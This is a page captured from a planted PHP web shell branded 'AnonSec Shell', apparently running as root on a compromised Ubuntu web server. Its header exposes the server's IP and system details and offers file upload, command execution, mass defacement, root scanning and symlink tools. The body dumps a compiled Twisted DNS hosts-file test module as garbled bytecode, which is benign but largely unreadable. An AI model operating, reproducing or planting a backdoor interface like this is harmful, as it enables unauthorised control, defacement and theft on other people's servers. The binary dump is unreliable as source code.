AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/names/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/names/test/__pycache__/test_hosts.cpython-310.pyc
o

�b�&�@s�dZddlmZddlmZmZmZmZmZm	Z	m
Z
mZddlm
Z
mZmZddlmZddlmZGdd�d�ZGd	d
�d
ee�ZGdd�dee�ZGd
d�dee�ZdS)zC
Tests for the I{hosts(5)}-based resolver, L{twisted.names.hosts}.
�)�
gatherResults)�AAAA�IN�A�DomainError�Query�Record_A�Record_AAAA�RRHeader)�Resolver�
searchFileFor�searchFileForAll)�FilePath)�SynchronousTestCasec@seZdZdd�ZdS)�GoodTempPathMixincCst|���d��S)Nzutf-8)r�mktemp�encode��self�r�?/usr/lib/python3/dist-packages/twisted/names/test/test_hosts.py�pathszGoodTempPathMixin.pathN)�__name__�
__module__�__qualname__rrrrrrsrc@�0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�SearchHostsFileTestsz�
    Tests for L{searchFileFor}, a helper which finds the first address for a
    particular hostname in a I{hosts(5)}-style file.
    cC�*|��}|�d�|�dt|jd��dS)zr
        If there is an IPv4 address for the hostname passed to L{searchFileFor},
        it is returned.
        �10.2.3.4 foo.example.com
z10.2.3.4�foo.example.comN�r�
setContent�assertEqualr�r�hostsrrr�test_findAddress$s
z%SearchHostsFileTests.test_findAddresscCs(|��}|�d�|�t|jd��dS)z~
        If there is no address information for the hostname passed to
        L{searchFileFor}, L{None} is returned.
        rsbar.example.comN)rr!�assertIsNonerr#rrr�test_notFoundAddress-s
z)SearchHostsFileTests.test_notFoundAddresscCr)zS
        The first address associated with the given hostname is returned.
        sV::1 foo.example.com
10.1.2.3 foo.example.com
fe80::21b:fcff:feee:5a1d foo.example.com
�::1rNr r#rrr�test_firstAddress6s
�z&SearchHostsFileTests.test_firstAddresscCsz|��}|�d�|�t|jd�d�|�t|jd�d�|�t|jd�d�|�t|jd�d�|�t|jd�d�d	S)
z�
        For a host with a canonical name and one or more aliases,
        L{searchFileFor} can find an address given any of the names.
        sY127.0.1.1	helmut.example.org	helmut
# a comment
::1 localhost ip6-localhost ip6-loopback
shelmutz	127.0.1.1shelmut.example.orgs
ip6-localhostr(sip6-loopbacks	localhostNr r#rrr�test_searchFileForAliasesBs�z.SearchHostsFileTests.test_searchFileForAliasesN)rrr�__doc__r%r'r)r*rrrrrs		rc@r)�SearchHostsFileForAllTestsz�
    Tests for L{searchFileForAll}, a helper which finds all addresses for a
    particular hostname in a I{hosts(5)}-style file.
    cCs,|��}|�d�|�gd�t|d��dS)zt
        L{searchFileForAll} returns a list of all addresses associated with the
        name passed to it.
        sc127.0.0.1     foobar.example.com
127.0.0.2     foobar.example.com
::1           foobar.example.com
)�	127.0.0.1z	127.0.0.2r(sfoobar.example.comN�rr!r"r
r#rrr�test_allAddressesZs��z,SearchHostsFileForAllTests.test_allAddressescCs*|��}|�d�|�dgt|d��dS)zL
        L{searchFileForAll} searches for names case-insensitively.
        s!127.0.0.1     foobar.EXAMPLE.com
r-sFOOBAR.example.comNr.r#rrr�test_caseInsensitivelyjs
z1SearchHostsFileForAllTests.test_caseInsensitivelycCs|�gt|��d��dS)z�
        If there is an error reading the contents of the hosts file,
        L{searchFileForAll} returns an empty list.
        sexample.comN)r"r
rrrrr�test_readErrorrsz)SearchHostsFileForAllTests.test_readErrorcCs,|��}|�d�|�ddgt|d��dS)zw
        L{searchFileForAll} ignores any malformed IP addresses associated with
        the name passed to it.
        s[127.0.0.1	miser.example.org	miser
not-an-ip	miser
�not-ascii	 miser
# miser
miser
::1 miserr-r(smiserNr.r#rrr�test_malformedIPys��z+SearchHostsFileForAllTests.test_malformedIPN)rrrr+r/r0r1r2rrrrr,Tsr,c@sxeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�
HostsTestszJ
    Tests for the I{hosts(5)}-based L{twisted.names.hosts.Resolver}.
    cCs,|��}|�d�d|_t|j|j�|_dS)Ns

1.1.1.1    EXAMPLE EXAMPLE.EXAMPLETHING
::2        mixed
1.1.1.2    MIXED
::1        ip6thingy
1.1.1.3    multiple
1.1.1.4    multiple
::3        ip6-multiple
::4        ip6-multiple
not-an-ip  malformed
malformed
# malformed
1.1.1.5    malformed
::5        malformed
ih)rr!�ttlr�resolver)r�frrr�setUp�s�zHostsTests.setUpcCst�}|�d|j�dS)z�
        The default hosts file used by L{Resolver} is I{/etc/hosts} if no value
        is given for the C{file} initializer parameter.
        s
/etc/hostsN)rr"�file)rr5rrr�test_defaultPath�szHostsTests.test_defaultPathcs,gd�}�fdd�|D�}��t|��dS)z�
        L{hosts.Resolver.getHostByName} returns a L{Deferred} which fires with a
        string giving the address of the queried name as found in the resolver's
        hosts file.
        ))�EXAMPLE�1.1.1.1)sEXAMPLE.EXAMPLETHINGr;)sMIXED�1.1.1.2cs&g|]\}}�j�|���j|��qSr)r5�
getHostByName�addCallbackr")�.0�n�iprrr�
<listcomp>�s��z1HostsTests.test_getHostByName.<locals>.<listcomp>N)�successResultOfr)r�data�dsrrr�test_getHostByName�s

�zHostsTests.test_getHostByNamecC�\|j�d�}|�|�\}}}|�tdtt|jtd|j��tdtt|jtd|j��f|�dS)z
        L{hosts.Resolver.lookupAddress} returns a L{Deferred} which fires with A
        records from the hosts file.
        smultiplez1.1.1.3z1.1.1.4N�	r5�
lookupAddressrCr"r
rrr4r�r�d�answers�	authority�
additionalrrr�test_lookupAddress�s��zHostsTests.test_lookupAddresscCrG)z�
        L{hosts.Resolver.lookupIPV6Address} returns a L{Deferred} which fires
        with AAAA records from the hosts file.
        sip6-multiplez::3z::4N�	r5�lookupIPV6AddressrCr"r
rrr4r	rJrrr�test_lookupIPV6Address�s����z!HostsTests.test_lookupIPV6Addressc
CsD|j�d�}|�|�\}}}|�tdtt|jtd|j��f|�dS)z�
        L{hosts.Resolver.lookupAllRecords} returns a L{Deferred} which fires
        with A records from the hosts file.
        smixedr<N)	r5�lookupAllRecordsrCr"r
rrr4rrJrrr�test_lookupAllRecords�s�z HostsTests.test_lookupAllRecordscC�|�|j�d�t�dS)z|
        L{hosts.Resolver} fails with L{NotImplementedError} for L{IResolver}
        methods it doesn't implement.
        r:N)�failureResultOfr5�lookupMailExchange�NotImplementedErrorrrrr�test_notImplemented�s�zHostsTests.test_notImplementedcCs8|j�td��}|�|�\\}}}|�|j��d�dS)Nr:r;)r5�queryrrCr"�payload�
dottedQuad�rrK�answerrMrNrrr�
test_query�szHostsTests.test_querycCrU)z�
        L{hosts.Resolver.lookupAddress} returns a L{Deferred} which fires with
        L{dns.DomainError} if the name passed in has no addresses in the hosts
        file.
        �foueoaN)rVr5rIrrrrr�test_lookupAddressNotFound�sz%HostsTests.test_lookupAddressNotFoundcCrU)zj
        Like L{test_lookupAddressNotFound}, but for
        L{hosts.Resolver.lookupIPV6Address}.
        r`N)rVr5rQrrrrr�test_lookupIPV6AddressNotFound�z)HostsTests.test_lookupIPV6AddressNotFoundcCrU)zi
        Like L{test_lookupAddressNotFound}, but for
        L{hosts.Resolver.lookupAllRecords}.
        r`N)rVr5rSrrrrr�test_lookupAllRecordsNotFoundrcz(HostsTests.test_lookupAllRecordsNotFoundc
C�D|j�d�}|�|�\\}}}|�tdtt|jtd|j��|�dS)z�
        L{hosts.Resolver.lookupAddress} returns a L{Deferred} which fires with
        the valid addresses from the hosts file, ignoring any entries that
        aren't valid IP addresses.
        �	malformedz1.1.1.5NrHr]rrr�test_lookupMalformeds�zHostsTests.test_lookupMalformedc
Cre)zk
        Like L{test_lookupAddressMalformed}, but for
        L{hosts.Resolver.lookupIPV6Address}.
        rfz::5NrPr]rrr�test_lookupIPV6Malformed s�z#HostsTests.test_lookupIPV6MalformedN)rrrr+r7r9rFrOrRrTrYr_rarbrdrgrhrrrrr3�s	
r3N)r+�twisted.internet.deferr�twisted.names.dnsrrrrrrr	r
�twisted.names.hostsrrr
�twisted.python.filepathr�twisted.trial.unittestrrrr,r3rrrr�<module>s(
69

Anon7 - 2022
AnonSec Team